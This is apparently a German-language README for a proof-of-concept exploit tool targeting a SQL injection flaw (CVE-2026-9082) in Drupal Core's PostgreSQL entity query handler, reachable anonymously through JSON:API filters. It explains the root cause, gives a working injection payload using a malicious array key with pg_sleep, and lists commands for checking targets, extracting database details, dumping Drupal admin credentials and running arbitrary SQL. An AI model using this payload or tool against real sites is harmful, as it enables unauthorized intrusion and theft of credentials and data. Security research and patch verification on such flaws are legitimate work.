
Drupal Core PostgreSQL SQL-Injection PoC - CVE-2026-9082. Ethischer PoC für die Drupal-Sicherheitslücke, die anonyme SQL-Injection über das JSON:API-Modul auf PostgreSQL-basierten Websites ermöglicht.
Dieses Repository stellt einen ethischen Proof-of-Concept (PoC) für CVE-2026-9082 bereit, eine hochkritische SQL-Injection Schwachstelle in Drupal Core, die alle PostgreSQL-basierten Websites mit Drupal 8.0 bis 11.3.9 betrifft.
Der Fehler befindet sich im PostgreSQL Entity Query Condition Handler und kann von anonymen (nicht authentifizierten) Benutzern über das JSON:API-Modul ausgenutzt werden, das standardmäßig seit Drupal 9 aktiviert ist.
Offizielles Advisory: SA-CORE-2026-004
Drupal Core enthält eine Datenbankabstraktions-API, die Abfragen bereinigt
und SQL-Injection verhindern soll. Ein Fehler in der PostgreSQL-spezifischen
Entity Query Condition-Klasse (core/modules/pgsql/src/EntityQuery/Condition.php)
erlaubt es einem Angreifer, beliebiges SQL über benutzergesteuerte
Array-Schlüssel einzuschleusen, die über JSON:API-Filterparameter
übergeben werden.
translateCondition() in der PostgreSQL-Condition-Klasse
iteriert über $condition['value'] und verwendet die
Array-Schlüssel, um PDO-Placeholder-Namen zu erstellen:$where_id = $where_prefix . $key;
filter[x][condition][value][MALICIOUS_KEY]=val
[a-zA-Z0-9_]-Zeichen.
Wenn der Schlüssel ) enthält, stoppt PDO das Parsen des
Placeholder-Namens — alles danach wird als literal SQL
in die Abfrage eingeschleust.
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--,
schließt der Angreifer die IN()-Klausel und hängt beliebiges SQL an,
während die Bindung für :prefix_1 durch einen legitimen
Schlüssel 1 in derselben Anfrage erfüllt wird.
Dieses Tool ist nur für autorisierte Sicherheitstests, Bildungszwecke und ethische Forschung bestimmt. Unbefugter Zugriff auf Computersysteme ist illegal.
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich# Check if target is vulnerable
python3 CVE-2026-9082.py -u https://target.com --check
# Extract PostgreSQL version
python3 CVE-2026-9082.py -u https://target.com --version
# Extract database info (user + db name)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Extract Drupal admin credentials (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# List database tables
python3 CVE-2026-9082.py -u https://target.com --tables
# Custom SQL query extraction
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# Use boolean-based extraction (faster but less reliable)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# Interactive mode (no arguments)
python3 CVE-2026-9082.py